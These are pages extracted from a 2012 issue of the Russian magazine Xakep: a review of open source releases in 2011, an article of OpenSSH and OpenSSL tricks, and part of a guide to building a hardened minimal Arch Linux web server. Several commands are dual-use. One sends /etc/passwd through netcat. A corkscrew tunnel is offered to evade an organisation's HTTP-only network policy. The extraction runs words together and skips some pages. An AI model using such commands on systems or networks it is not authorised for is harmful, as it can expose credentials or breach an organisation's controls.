версияпод номером 6). В честь этого был обновлендизайн (который не менялся 13 лет) всехофициальных сайтов, начиная с debian.org.В прошлом году периодически поднималсявопрос о создании rolling release веткиDebian (бесконечно обновляемого на манерGentoo или Arch Linux). В результате появилсяпроект Debian CUT (Constantly UsableTesting) с ежемесячными срезами тестовогорепозитория, но статус проекта пока ещене понятен.Самый известный последователь Debian,Ubuntu, строго по графику обзавелся двумяновыми релизами: 11.04 (Natty Narwhal)и 11.10 (Oneiric Ocelot). Основные усилия разработчиковбыли сосредоточены на следующихнововведениях:• Unity (собственная надстройка над Gnome3)стала DE по умолчанию не только для нетбуков,но и для десктопов.• В менеджере приложений Software Centerпоявились рейтинги и отзывы, а такжевозможность протестировать приложениеперед установкой (правда, пока поддерживаютсядалеко не все приложения, а длятестирования необходим пакет qtnx). Теперьможно синхронизировать списки установленныхприложений между компьютерами.Количество платных приложений медленно,но верно растет. Кроме того, добавилиськниги и журналы.• Объем бесплатного дискового пространствав «облачном» хранилище Ubuntu Oneувеличен с 2 до 5 Гб (за $2,99 в месяц или$29,99 в год можно получить дополнительные20 Гб). Кстати, в середине прошлогогода сервис перешагнул рубеж в миллионпользователей. Также вышел официальныйклиент для Android, который, правда, умеетпока только синхронизировать файлы и автоматическидобавлять в U1 фото с камеры.Кроме того, произошли существенные перестановкив приложениях по умолчанию:LibreOffice пришел на смену OpenOffice,медиапроигрыватель Banshee заменилRhythmbox, место Evolution занял Thunderbird,дисплейный менеджер LightDM вытеснилGDM, удалены Synaptic и PiTIVi, добавленаудобная утилита Deja Dup для резервногокопирования. Кроме обычного LiveCD (который,кстати, теперь гибридный), появиласьDVD-версия с расширенной локализацией,полной версией LibreOffice, Inkscape, GIMPи Pitivi. В семейство Ubuntu официально вошлаLubuntu с LXDE.Чтобы обосноваться на рынке серверов,Canonical затратила немало сил на разработкуследующих новшеств:• Ubuntu ARM Server Edition — специальнаяверсия для серверов на ARM (сейчас этомодный тренд, хотя успешных коммерческихреализаций пока не видно).• «Облачная» платформа OpenStack для заменыEucalyptus.• Проекты Orchestra (коллекция управляющихсервисов серверной инфраструктуры,которые быстро и просто разворачиваются)и Juju (отвечает за запуск определенныхсервисов для пользователей).Самое спорное нововведение в Ubuntuза прошедший год, Unity, не могло не снизитьпопулярность дистрибутива — по крайнеймере, на distrowatch.com Ubuntu опустиласьна второе место в рейтинге. Первое местос большим отрывом занял Linux Mint (основанныйна Ubuntu), который также обзавелсядвумя релизами в прошлом году — 11(кодовое имя Katya, основан на Ubuntu 11.04)и 12 (Lisa на базе Ubuntu 11.10). Mint стараетсяне отпугивать пользователей непривычныминтерфейсом, поэтому даже GnomeShell в последней версии похож на Gnome2.К тому же версия поддерживает Mate DesktopEnvironment — форк Gnome2.Перед тем как начинать разработку сле-ХАКЕР 02 /157/ 2012 107


UNIXOIDдующего релиза, Canonical проводит встречуразработчиков — Ubuntu Developer Summit,благодаря которой мы можем узнать, чегождать от последующих версий дистрибутива.В версии 12.04 LTS (Long Term Support) намобещают:• Увеличить срок поддержки desktop-версиидо пяти лет, а кроме того, в течение первыхдвух лет бэкпортировать в ядро дрова дляновых железок (по-моему, очень хорошаяидея).• Рекомендовать использование по умолчанию64-разрядной версии.• Увеличить объем LiveCD до 750 Мб.• Вернуть Rhythmbox на место Banshee и заменитьTomboy на Gnote, чтобы удалить Monoс LiveCD.• Доработать Unity для улучшения работына нескольких мониторах.• Оптимизировать KVM для улучшения работына ARM, добавить поддержку протоколаSPICE, разработанного для связи с виртуальнымимашинами.• Включить в стандартную поставку какоенибудьприложение-календарь (возможно,это будет Lightning — плагин к Thunderbird).В 2011 году также вышли две версии самогоизвестного RPM-дистрибутива, Fedora: 15(Lovelock) и 16 (Verne).Основные новшества:• Обновление загрузчика до GRUB2.• Замена Gnome2 на Gnome3.• Поддержка динамического межсетевогоэкрана firewalld, позволяющего менятьотдельные правила без перезагрузки всейтаблицы.• Поддержка протокола SPICE в Virt Manager.• Изменения в названиях сетевых интерфейсов:теперь имя зависит от типа сетевойкарты и имеет вид pp для PCI или em дляинтегрированной карты.• Постепенный отход от использования setuidв приложениях.• Диспетчер служб и сеансов systemd.• UID и GID нового пользователя теперь начинаютсяс 1000 для обеспечения совместимостис другими дистрибутивами и расширениядиапазона UID/GID для сервисов.Несмотря на опасения, вызванные продажейкомпании Novell, на разработке openSUSEэтот факт пока не сказался — в 2011 году быловыпущено два релиза: 11.4 и 12.1. К значимымизменениям относятся переход на init-демонsystemd, внедрение инструмента Snapper дляуправления снапшотами btrfs и «облачного»хранилища ownCloud.BSD-системы в ушедшем году не отличилисьбольшим количеством релизов. В восьмойветке FreeBSD улучшен Xen, реализованановая версия ZFS с поддержкой дедупликации(механизм для экономии места на дискеза счет поиска дубликатов блоков), ускореношифрование/дешифрование AES благодаряиспользованию специального набора инструкцийAES-NI в современных процессорах.Changelog FreeBSD 9 значительно интереснее:• В базовую систему добавлен компиляторClang, который может практически полностьюзаменить GCC.• Система управления RAID-массивамиataraid заменена на graid, основаннуюна GEOM.• В качестве инсталлятора по умолчаниютеперь используется BSDInstall.• Добавлен инструмент RCTL, позволяющийограничивать ресурсы (CPU, memory и другие)для процессов, пользователей или Jail.• Появилась поддержка технологии Capsicumдля помещения процессов (в том числеразных процессов одного приложения)в изолированные окружения.• Добавлен новый USB-драйвер с поддержкойUSB 3.0.Также большим событием для FreeBSDстало появление нового гипервизора BHyVe.OpenBSD пережил два релиза: 4.9 и 5.0 (не мажорный,несмотря на нумерацию). В числоосновных изменений входят поддержка AES-NI, поддержка больше 4 Гб ОЗУ и больше 64процессорных ядер, Wake on LAN, устранениенекоторых потенциальных проблем с безопасностью.Как бы ни хотелось рассказать про многочисленныеуспехи Linux на рынке мобильныхустройств (телефонов и планшетов), рассказ,увы, получится коротким. Единственный представительсемейства Linux — Android (к концупрошлого года количество устройств под егоуправлением превысило 200 миллионов),который с некоторой натяжкой можно считатьоткрытым, может похвастать двумя мажорнымирелизами, выпущенными в 2011 году: версией3 (предназначена только для планшетов)и версией 4 (объединенная, для планшетови телефонов).Исходные коды ОС были полностью открытытолько ближе к концу года, после выхода четвертойверсии. Основные нововведения:• Обновленный интерфейс — новая панельуведомлений, новые шрифты.• Встроенное приложение для контроля трафика,позволяющее заблокировать доступв сеть для определенного приложения.• Функция Face Unlock для разблокированияэкрана с помощью своего лица.• Стандартный диспетчер задач, которыйумеет завершать приложения.• Стандартные средства для создания скриншотовэкрана.• Оптимизации браузера с введением новыхфишек (возможность изменить User Agent,синхронизация закладок с Google Chrome).StatCounter Global Stats5 лучших браузеров с января по ноябрь 2011EIFirefoxChromeSafariOpera50%40%30%20%10%0%Январь Февраль Март Апрель Май Июнь Июль Август СентябрьОктябрьНоябрьПопулярность браузеров в мире по версии StatСounter108ХАКЕР 02 /157/ 2012


Победы и поражения open source — 2011Лого OpenBSD 5.0Не успел Nokia N9, первый и последнийсмартфон под управлением многострадальногоMeeGo, появиться на рынке, как было приняторешение заменить MeeGo новой платформойTizen, которая отличается широким использованиемHTML5 при разработке приложений.Подробностей пока немного (хотя первыетестовые версии должны выйти в первомквартале 2012-го), известно только, что разработкойплатформы будут заниматься LinuxFoundation и LiMo Foundation. Однако сообществоотнеслось к новому проекту скептически— его настроение можно охарактеризоватьфразой «давайте уже хоть что-нибудь доведемдо конца».БРАУЗЕРЫЗа прошедший год все популярные опенсорсныебраузеры шагнули далеко вперед.Самый большой changelog в прошлом году былу FireFox 4:• Интерфейс приобрел черты Google Chrome:панель вкладок переехала в самый верхи теперь находится над адресной строкой.Также переработан интерфейс менеджерадополнений (который теперь открывается вовкладке, а не в отдельном окне).• Появился инструмент Web Console (WebInspector) — своего рода облегченный вариантFirebug.• Добавлена поддержка WebM и кодека VP8в теге .• Синхронизация закладок, истории, паролеймежду несколькими компами теперь осуществляетсячерез сервера Mozilla и доступна«из коробки» (раньше она реализовываласьс помощью дополнения Firefox Sync).• Добавлена поддержка WebGL (технология,с помощью которой можно получить доступк функциям OpenGL из JavaScript).• Добавлена поддержка спецификацииAPI IndexedDB, которая позволяет черезJavaScript делать выборки с сортировкойиз интегрированной с web-браузером базыданных.• Добавлена поддержка протокола WebSockets для организации двустороннейсвязи между браузером и web-сервером.• Появилась страница about:memory, отображающаяподробную информацию о том, какбраузер использует ОЗУ.• В основном благодаря новому JavaScript-движку удалось добиться серьезного ускорения.• Добавлен новый HTTP-заголовок Do NotTrack, после получения которого сайт долженпрекратить слежку за пользователем. :)• Плагины теперь выполняются в отдельныхпроцессах, чтобы падающий Flash-плагинне ронял весь браузер.Начиная с пятерки, новые версии выходиличасто, а серьезных изменений в них былонемного, поэтому сразу перечислю все новыефичи в релизах 5–9:• Исправлены проблемы с утечками памяти.• На странице about:permissions можнонастроить права на сохранение паролей,использование кук и некоторых HTML5-технологий отдельно для каждого домена.• Добавлена поддержка HTML5-теговprogress и contextmenu.• Для функционирования дополнений, устанавливающихсяавтоматически (например,при установке Skype или Java), теперь требуетсяявное разрешение от пользователя.Google Chrome, основной конкурент Firefoxза звание второго по популярности браузера,в прошедшем году зарелизился семь раз (быливыпущены версии с 9 по 15).Ubuntu Software CenterОсновные фичи, которыми браузер обзавелсяза год:• WebGL включен по умолчанию.• Ускорение за счет обновления JavaScriptдвижка.• Ускорение воспроизведения видео, осуществляемоесредствами видеокарты.• Настройки браузера переехали из отдельныхокон во вкладки.• Механизма голосового заполнения форм(голос распознается на серверах Google).• Возможность очищать Flash Cookie.• Возможность сохранять страницу в PDF.• Поддержка API IndexedDB.• Технология Native Client, позволяющаявыполнять код на C/С++ через браузер практическибез потери производительностипо сравнению с системными приложениями.По данным StatCounter, в конце прошлогогода Google Chrome стал вторым по популярностибраузером в мире (после вечного IE),обогнав Firefox.TO BE CONTINUEDНемного проанализировав направление развитияопенсорсных проектов в прошлом году,можно предположить, что нас ждет в этом.Продолжается бум мобильных устройств, поэтомув низкоуровневых компонентах (типа ядраили GCC) будет улучшаться поддержка ARM,а высокоуровневые обзаведутся интерфейсом,оптимизированным для тачскринов. Btrfsокончательно стабилизируется и будет использоватьсяво многих дистрибутивах (возможно,даже как FS по умолчанию). Flash, наконец,умрет (это уже, правда, мои мечты). Такжеожидается появление большого количестваопенсорсных игр для Linux на движке Doom 3и нескольких проприетарных игр на кроссплатформенныхдвижках. А еще, говорят,выйдет GIMP 2.8. Ну и напоследок, пока яза Нострадамуса, скажу только тебе и по большомусекрету: конца света не будет :). zХАКЕР 02 /157/ 2012 109


UNIXOIDЕвгений Зобнин (execbit.ru)INFOС полным спискомкоманд OpenSSLможно ознакомитьсяс помощьюследующихпараметров: liststandart-commands,list-message-digestcommands,listcipher-commands.КриптологическийрайХАРДКОРНЫЕ ВОЗМОЖНОСТИ OPENSSLИ OPENSSH, О КОТОРЫХ ТЫ НЕ ЗНАЛТакие инструменты, как OpenSSH и OpenSSL,в представлении не нуждаются. Это вечныедрузья любого сисадмина и многих продвинутыхпользователей. Однако далеко не все знаютоб их истинной мощи и возможностях,накопленных за годы разработки. Сегоднятебе откроется масса интересных способовиспользования этих программ.OPENSSHOpenSSH, пришедший на смену дырявому Telnet, до сих пор занимаетпервое место среди систем удаленного управления благодарябезопасности и простоте в использовании. Разобратьсяв нем способны все, даже самые хромированные чайники, однакоподавляющее большинство пользователей задействует минимумего возможностей. Опустим рассказы о ключах, пробросахпортов, проксировании и других полезных, но всем известныхИспользуем OpenSSL для подключения к Gmail110ХАКЕР 02 /157/ 2012


Криптологический райШифруем файлы с помощью OpenSSLприемах и рассмотрим на самом деле интересные и не слишкомраспространенные способы использования этого инструмента.Итак, трюк номер один — множественные подключения.OpenSSH способен обслуживать множество одновременныхсоединений с одной и той же машиной. Обычно пользователипросто запускают команду и ждут ее завершения, чтобы запуститьследующую. К счастью, эту проблему легко обойти путемразделения одного соединения на множество сессий. Простодобавь в конфиг ssh (~/.ssh/config) следующие строки:ControlMaster autoControlPath ~/.ssh/mux_%h_%p_%rТы сможешь создать столько соединений с одним и тем же сервером,сколько посчитаешь нужным, причем время на повторнуюаутентификацию тратить будет не нужно.Трюк номер два — проксирование соединений. Допустим,ты не можешь создать соединение с SSH-сервером напрямую,но можешь использовать для этого другой хост, к которому тытоже имеешь SSH-доступ. Добавь в свой конфиг следующиестроки:ForwardAgent yesHost hostHostName host.comProxyCommand ssh proxy-host.com \netcat -q 600 %h %pКоманда ssh host создаст соединение с сервером host.comчерез сервер proxy-host.com.Трюк номер три — выход за пределы HTTP-изоляции. Многиеорганизации не просто режут неугодный им трафик, но и принуждаютпользователей выходить в Сеть только с использованиемHTTP-протокола. Такую несправедливость легко обойти с помощьюсorkscrew (www.agroman.net/corkscrew/), который умеет туннелироватьSSH-трафик через HTTP. Просто установи его на свою машинуи добавь в конфиг следующие строки (где proxy.com и 80 — этоадрес внешнего HTTP-прокси и его порт):Host *ProxyCommand corkscrew proxy.com 80 %h %pТеперь все соединения пойдут через указанный HTTP-прокси.Трюк номер четыре — тест пропускной способности сети. Чтобыпротестировать скорость соединения, необязательно устанавливатьспециализированное ПО, достаточно утилиты pv и старогодоброго SSH:$ sudo apt-get install pv$ yes | pv | ssh host.com "cat > /dev/null"Трюк номер пять — удаленный анализ сетевого трафика. Почтив любой UNIX-системе есть сетевой сниффер tcpdump, однакочитать его логи довольно утомительно. Возможности OpenSSH помогутупростить анализ трафика:$ ssh root@host.com tcpdump -w – 'port !22' \| wireshark -k -i -Теперь весь трафик, проходящий через host.com, будет виденв графическом окне wireshark на твоей машине.Трюк номер шесть — передача файлов на низкой скорости.Иногда бывает необходимо передать большое количество файловна удаленную машину, но сделать это так, чтобы процесс не мешалработе с сетью. В этом случае можно воспользоваться инструментомcstream:$ sudo apt-get install cstream$ tar -cj /backup | cstream -t 512k | \ssh host 'tar -xj -C /backup'Трюк номер семь — всегда открытая SSH-сессия. Пользователямноутбуков, чье соединение с сетью может быть не постоянным,приходится каждый раз заново запускать SSH-клиент в момент,когда сеть появляется, и убивать его при потере соединения.Избежать этого можно с помощью инструмента autossh, которыйбудет поддерживать иллюзию постоянного соединения с сервером,ХАКЕР 02 /157/ 2012 111


UNIXOIDДелаем бенчмарк SSL-сервера Gmailвосстанавливая связь, когда сеть окажется доступной:$ sudo apt-get install autossh$ autossh -M50000 -t server.example.com \'screen -raAd mysession'Трюк номер восемь — запуск команды на нескольких сервераходновременно. Комментарии излишни:$ echo "uptime" | pee "ssh host1" "ssh host2" \"ssh host3"Трюк номер девять — удаленное сравнение файлов. Частотребуется сравнить локальную и удаленную версию какого-либоконфига, однако копировать файлы туда-сюда неудобно и долго.В этом случае можно воспользоваться следующей командой:$ ssh user@host cat /путь/к/удаленному/файлу | \diff /путь/к/локальному/файлу -То же самое можно проделать для двух файлов, находящихсяна разных серверах:$ diff


Криптологический райТрюк номер 16 — ускорение передачи данных. Если машины,с которыми установлено соединение, находятся внутри заведомобезопасной сети (например, офис или дом), передачу данных средствамиSSH можно несколько ускорить, если использовать менеестойкий алгоритм шифрования. Для этого добавь в конфигурационныйфайл следующие строки:Host host.comCiphers arcfour256MACs umac-64@openssh.comТрюк номер 17 — вывод звука с удаленной машины на локальную.Вместе с картинкой рабочего стола удаленной машины иногдахочется получить и звук. Это делается с помощью банального dd:$ dd if=/dev/dsp | ssh -c arcfour -C \user@host dd of=/dev/dspТрюк номер 18 — запуск локального скрипта на удаленной машине.Нередко требуется запустить скрипт на удаленной машине,однако копировать его туда совсем необязательно, достаточновыполнить следующую простую команду:$ ssh -T user@host < script.shOPENSSLOpenSSL представляет собой систему защиты и сертификацииданных, которая была разработана в ответ на создание протоколабезопасных сокетов SSL компанией Netscape. Вопреки расхожемумнению, OpenSSL вовсе не является инструментом для реализацииSSL-протокола и может выполнять множество самых разнообразныхфункций, в том числе управлять ключами и сертификатами,рассчитывать хеши и т. д. Вот лишь неполный список возможностейэтого криптографического комбайна:• создание ключей RSA и DSA и управление ими (команды rsa, dsa,dsaparam);• создание сертификатов формата x509, формирование запросовна сертификацию, восстановление (команды x509, req, verify, ca,crl, pks12, pks7);• симметричное и асимметричное шифрование данных (командыenc, rsautl);• расчет хешей (команда dgst);• работа с S/MIME (команда s/mime).Также OpenSSL может быть использован для проверки SSLсерверови клиентов с помощью специальных команд s_client/s_server и для тестирования скорости работы различных алгоритмов(команда speed).Мы не раз писали о работе с пакетом OpenSSL, поэтому не будемрассматривать стандартные примеры его использования вродесоздания хешей и сертификатов, а сразу перейдем к более серьезнымтрюкам.ВРЕМЯ — ДЕНЬГИОдна из интересных особенностей OpenSSL заключается в том, чтоон может провести бенчмарк используемых алгоритмов и скоростиустановления SSL-соединения. Для этого предназначена стандартнаякоманда s_time. Чтобы оценить скорость установки SSLсоединения,нужно применить ее к команде openssl:$ openssl s_time -connect gmail.com:443 \-www /test.html -new103 connections in 0.75s; 137.33 connections/user sec,bytes read 42436103 connections in 31 real seconds, 412 bytes read perconnectionТо же самое можно проделать с помощью наиболее стойкихалгоритмов:$ openssl s_time -ssl3 -cipher HIGH \-connect gmail.com:443 -www / -new99 connections in 0.73s; 135.62 connections/user sec,bytes read 4078899 connections in 31 real seconds, 412 bytes read perconnectionЭти две команды позволяют определить максимальную пропускнуюспособность SSL-сервера. Но еще более интересныйспособ заключается в тестировании всех поддерживаемых алгоритмов.Для этого нам придется прибегнуть к скриптингу:IFS=":"for c in $(openssl ciphers -ssl3 RSA); doecho $copenssl s_time -connect host:443 -www / -new \-time 10 -cipher $c 2>&1 | grep bytesechodoneТакая команда позволяет измерить скорость установки SSLсоединенияс помощью различных алгоритмов шифрования, чтоможно использовать, например, для тюнинга SSL-сервера. Если жеSSL-сервера как такового еще нет, его легко эмулировать с помощьюсамого OpenSSL. На серверной машине запускаем OpenSSLсервер:$ openssl s_server -cert mycert.pem -wwwНа клиентской выполняем следующую команду:$ openssl s_time -connect myhost:4433 \-www / -new -ssl3КЛИЕНТСКАЯ СТОРОНАЕще одна интересная команда OpenSSL — это s_client, котораяпозволяет коннектиться к удаленным SSL-серверам дляих тестирования. Чаще всего я использую эту команду, чтобыпроверить дату выдачи сертификата. Для этого следует простоподключиться к удаленному SSL-серверу, дождаться, покана экране появится информация о сертификате, а затем про-Вычленяем нужную информацию из сертификата x509ХАКЕР 02 /157/ 2012 113


UNIXOIDЕвгений Зобнин (execbit.ru)Тестируем скорость соединения с помощью SSH и pvгнать его через всё тот же openssl, чтобы вычленить даты. Прииспользовании одной команды всё это выглядит так:$ echo | openssl s_client -connect \www.google.com:443 2>/dev/null | \openssl x509 -dates -nooutnotBefore=Oct 26 00:00:00 2011 GMTnotAfter=Sep 30 23:59:59 2013 GMTКоманду s_client можно также применять для тестирования серверана уязвимость, заключающуюся в использовании нестойкихалгоритмов шифрования:$ openssl s_client -connect www.google.com:443 \-cipher LOWCONNECTED(00000003)140513251690152:error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure:s23_clnt.c:658:Сервер, не поддерживающий нестойкие алгоритмы шифрования,просто откажется устанавливать соединение, как этои произошло в случае с сервером Google. Команда s_client такжедовольно удобна для отладки различных протоколов (в этомслучае она выступает в виде SSL’ного Telnet). Например:$ openssl s_client -starttls smtp -crlf \-connect smtp.gmail.com:25ШИФРОВАНИЕО шифровании с помощью OpenSSL не писал только ленивый,поэтому мы остановимся не на самих принципах шифрования,а на том, как его можно использовать для вспомогательныхзадач. Утилита командной строки openssl удобна тем, что она,как и все остальные команды UNIX, может принимать данныена вход и имеет для них стандартный выход. В результате с помощьюодной простой команды можно обеспечить, например,защищенную передачу файла по сети:отправляющий$ cat /etc/passwd | openssl \aes-256-cbc -a -e -pass pass:пароль | \netcat -l -p 8080принимающий$ netcat хост:8080 | openssl \aes-256-cbc -a -d -pass pass:пароль > passwdМожно также применять и различные скрипты, чтобы автоматизироватьшифрование множества файлов (пароль в /tmp/passwd):$ for f in * ; do [ -f $f ] && \openssl enc -aes-256-cbc -salt -in $f \-out $f.enc -pass file:/tmp/passwd ; doneДля расшифровки отдельно взятых файлов используем следующуюкоманду:$ openssl enc -d -aes-256-cbc -salt \-in файл.enc -out filename \-pass file:/path/to/passwdДля шифрования целого каталога проще, конечно, воспользоватьсятакой конструкцией:$ tar c каталог | openssl enc -aes-256-cbc -e \> secret.tar.encOpenSSL удобно использовать для генерирования паролей:$ openssl rand 8 -base64O0Hqtv9l0sY=А сгенерировать хеш для записи в /etc/passwd можно так:# openssl passwd -1 my-secret-pass$1$WA7AVhQL$y9VaGwseiKRLSGoJg21TP0Кстати, кодирование в base64 может пригодиться для отправкифайлов, если двоичная передача данных не поддерживается:$ tar -c каталог | gzip -9 | openssl enc \-base64 > text-message.txtВозможность генерирования случайных данных можно использоватьдля создания фиктивных MAC-адресов:$ openssl rand -hex 6 | \sed 's/\(..\)/\1:/g; s/.$//'f2:9e:56:fd:5a:93Тестируем скорость алгоритмов с помощью команды speedВЫВОДЫКогда речь заходит о таких развитых, проверенных временеми широко применяемых инструментах, как OpenSSL и OpenSSH,юниксоиды незамедлительно начинают приводить десятки примерових использования в повседневной жизни. Иногда эти примерыкажутся простыми и обыденными, но иногда просто поражаешьсянаходчивости разработчиков и пользователей этих программ. z114ХАКЕР 02 /157/ 2012


SYN/ACKЕвгений Зобнин (execbit.ru)00000000\r_NET» Антонов (0000nline.ru)ЛечебноеобрезаниеДЕЛАЕММИНИМАЛИСТИЧНЫЙLINUX-ДИСТРИБУТИВДЛЯ КОНКРЕТНОГОСЕРВЕРАБезопасность и надежностьпрограммной системыобратно пропорциональны еесложности. Но к современнымLinux-дистрибутивам этуформулу применить довольнопроблематично, так как, пообщепринятому мнению, онибезопасны сами по себе. Ксожалению, это не так, но в этойстатье я расскажу и покажу, каксделать Linux действительнопростой и очень устойчивой квзломам системой.INFOХорошей практикойбудет установкаутилиты rkhunter,которая сверяетконтрольныесуммы системы,чтобы выявитьфакт модификациифайлов.Чтобы запутатьвзломщика, можноудалить командыuname и dmesg,переименоватьядро и внестисоответствующиеизменения в /boot/grub/menu.lst, тоесть «обезличить»дистрибутив.1160116 ХАКЕР 02 /157/ 2012


КорпоративныйЛечебное обрезаниеDrupalащиту операционной системы принято строить послойно.Первый, внешний слой отвечает за взаимодействие ОСЗс внешним миром, то есть этот слой составляют сетевыесервисы, которые слушают определенные порты и отвечают назапросы клиентов. К таким сервисам относятся любые демоны,способные принимать сетевые сообщения, например web- и ftpсервера,сервер DNS, почтовый сервер и т. д. Защиту этого слояобеспечивают программисты, которые следят за безопасностьюкода, и администратор, своевременно накладывающий заплаткии правильно конфигурирующий сетевые сервисы. Второй слой,или рубеж обороны, — это сама система, которая не должна позволитьвзломщику добраться до конфиденциальных данных илиизменить важные системные файлы в случае нарушения границпервого слоя.В идеале второму слою защиты нужно уделять не меньшевнимания, чем первому, однако многие сисадмины пренебрегаютэтим, предпочитая полагаться на разработчиков дистрибутива,которые якобы уже позаботились о надежной защите своихпродуктов. Это, конечно же, не так. Современные дистрибутивы— это универсальные операционные системы, рассчитанные наприменение в самых разных областях и на решение различныхзадач. В них входит множество компонентов, которые создаютпотенциальную опасность и при этом вряд ли когда-нибудь тебепонадобятся. Многие дистрибутивы по умолчанию включают всебя средства сборки приложений, различные сетевые и диагностическиеинструменты, каждый из которых может использоватьвзломщик.Самый верный способ обезопасить сервер в этой ситуации —это самому создать дистрибутив, ориентированный на решениеконкретной задачи и лишенный всех тех компонентов, которыевзломщик может использовать для получения сведений о системе,повышения своих прав или установки бэкдора.ЧАСТЬ 1. ПОСТАНОВКА ЗАДАЧИИтак, мы решили сделать свой профильный дистрибутив. Преждевсего мы должны определиться с функциями, которые будетвыполнять ОС. Здесь можно придумать массу вариантов, но япредлагаю остановиться на самом распространенном: дистрибутивдля web-сервера. Наш будущий дистрибутив будет отвечатьза хостинг web-сайтов, причем не статических, а написанных сиспользованием фреймворка Django. Почему не PHP+Djoomla/Drupal? Да потому, что я их не люблю!Таким образом, в дистрибутив должны входить как минимумпять сервисов:1. Сам web-сервер (к черту Apache, nginx — наше все).2. Дистрибутив Python, который будет отвечать за работу Django.3. Django, на котором будут написаны сайты.4. PostgreSQL, которая будет хранить данные.5. SSH для удаленного управления.МНОГИЕ ДИСТРИБУТИВЫ ПОУМОЛЧАНИЮ ВКЛЮЧАЮТВ СЕБЯ СРЕДСТВА СБОРКИПРИЛОЖЕНИЙ, РАЗЛИЧНЫЕИНСТРУМЕНТЫ, КАЖДЫЙИЗ КОТОРЫХ МОЖЕТИСПОЛЬЗОВАТЬ ВЗЛОМЩИКВсе остальные компоненты типичного сервера, такие какFTP-сервер, sendmail, и прочую шелуху можно выкинуть. Чемменьше в системе лишних сервисов, тем меньше шансов у взломщика.ЧАСТЬ 2. ПОДГОТОВКА КАРКАСАСуществует множество способов собрать собственный дистрибутивв домашних условиях, но все они требуют времени и терпения.Мы поступим проще: возьмем обычный Linux-дистрибутиви вырежем из него все лишнее. На роль подопытного хорошоподойдет ArchLinux, один из самых простых и легких дистрибутивов(ты, конечно, можешь выбрать что-нибудь другое вродеSlackware или Gentoo, но сути это не поменяет).Получить базовую версию ArchLinux можно, например, с сервераYandex (прямой линк на x86_64-сборку: http://goo.gl/EZRtQ). Послезагрузки ISO-образ следует скормить виртуальной машине иустановить дистрибутив на виртуальный жесткий диск. Проблемво время установки возникнуть не должно: запускаем инсталляторкомандой /arch/setup, выбираем «Select Source», жмем , выбираем«Prepare hard drive(s)», в ответ на все вопросы жмем ,в последнем окне выбираем ФС ext2. Далее «Select Packages», в ответ на все вопросы. Затем выбираем «Configure system»,жмем , в следующем окне выбираем Done. Выбираем «Installbootloader», выходим из редактора, а когда получаем предложениеизменить /boot/grub.conf, жмем и, наконец, «Exit install».Перезагружаем машину (не забываем отключить ISO-образ).После установки системы и загрузки виртуальной машинызаходим в систему под учетной записью root (пустой пароль) иначинаем разбираться с содержимым системы. Прежде всего необходимообновить все ее пакеты. Но сначала следует настроитьсеть. Нормальные виртуалки имеют встроенный DHCP-сервер,поэтому обычно достаточно только запустить DHCP-клиент:Загрузка ArchLinuxГлавное окно инсталлятораХАКЕР 02 /157/ 2012 1170117


SYN\ACK SYN/ACK00000000\r_NET» Антонов (0000nline.ru)# dhcpcd eth0Теперь, чтобы указать менеджеру Pacman на нужный репозиторий,добавляем в файл /etc/pacman.d/mirrorlist две строки:Server = ftp://mirror.yandex.ru/archlinux/$repo/os/$archServer = http://mirror.yandex.ru/archlinux/$repo/os/$archИ запускаем процесс обновления:# pacman -SyuВозможно, при первом запуске обновится только сам Pacman.В этом случае следует выполнить команду второй раз. Далееустанавливаем необходимые для функционирования серверакомпоненты. В моем случае это nginx, Python, Django иPostgreSQL:# pacman -S nginx python2 djangoЗапоминаем, какие зависимости были установлены в процессе(чтобы ненароком не удалить их на следующем этапековыряния). У меня получилось всего четыре зависимости: libffi,postgresql-libs, libxml2 и sqlite3, но ее как раз можно удалить,поскольку есть Постгрес. Делаем снимок состояния диска виртуальноймашины (это очень важно). При необходимости выключаемВМ, делаем снимок и снова включаем.Теперь мы должны удалить все лишние пакеты. Для началавыясним, что вообще сейчас установлено:# pacman -QsСписок не такой уж и длинный, но больше половины из всеговышеперечисленного нам точно не нужно. Во-первых, мы должныизбавиться от инструментов сборки. По умолчанию в Арче нетGCC, но зато есть пакет binutils, который содержит линковщик,архиватор статических библиотек и другие инструменты:# pacman -R binutilsДалее удалим ненужные пакеты, например документацию иman-страницы:# pacman -R licenses groff man-db man-pages texinfoИзбавимся также от инструментов управления различнымифайловыми системами и настройки RAID-массивов. Те из них,которые могут быть нужны на сервере, оставим на месте:В окне, предлагающем варианты разбивки диска, следует выбрать весь диск# pacman -R cryptsetup device-mapper lvm2 mdadm \xfsprogs jfsutils reiserfsprogsДалее можно избавиться от неиспользуемых инструментовуправления сетью и связанных с ними библиотек и зависимостей:# pacman -R iputils keyutils krb5 heirloom-mailx ppp \wget dbus-core wpa_supplicant libpcap libnl libldapРазличные утилиты для управления USB-оборудованием, PCIиPCMCIA-устройствами на сервере нам тоже не нужны:# pacman -R usbutils pcmciautils sysfsutilsТакже можно избавиться от некоторых оставшихся библиотек:# pacman -R libpipeline libsasl libgcrypt libgpg-errorНа этом процесс подготовки закончен, и мы можем переходитьк основной задаче.ЧАСТЬ 3. РЕЖЕМ ВСЕ, ЧТО УШЛО ИЗ-ПОД НОЖАМы удалили только малую часть того, что не потребуется насервере, однако другие пакеты и зависимости дистрибутиватакже содержат множество ненужных библиотек и утилит. Сейчасмы пройдемся по системе и попробуем избавиться от всеголишнего.А лишнего много. Например, ArchLinux не разделяет пакетына -dev и бинарные, поэтому каталог /usr/include содержит в себемножество совершенно бесполезных и даже опасных заголовочныхфайлов. Избавимся от них с помощью следующей простойкоманды:# rm -rf /usr/includeХАКЕРЫ ОЧЕНЬЛЮБЯТ ИСПОЛЬЗОВАТЬРАЗЛИЧНЫЕ УТИЛИТЫДЛЯ МАНИПУЛИРОВАНИЯРАСШИРЕННЫМИ АТРИБУТАМИФАЙЛОВОЙ СИСТЕМЫ,ПРАВАМИ ACL И Т.П.По той же причине каталог /usr/lib содержит большое количествостатических библиотек, которые не нужны для работысистемы, но могут быть использованы для сборки софта. Удаляемих:# rm /usr/lib/*.aВ каталогах /bin, /sbin, /usr/bin, /usr/sbin имеется множествоутилит и команд, которые были установлены как часть других пакетов,но сами по себе могут нанести вред серверу. В качестве примераможно привести различные утилиты для манипулированияфайловой системой и таблицей разделов, утилиты для управлениярасширенными атрибутами файлов, создания пакетов и т. д. Наработающем настроенном сервере пользы от них не так много.1180118 ХАКЕР 02 /157/ 2012


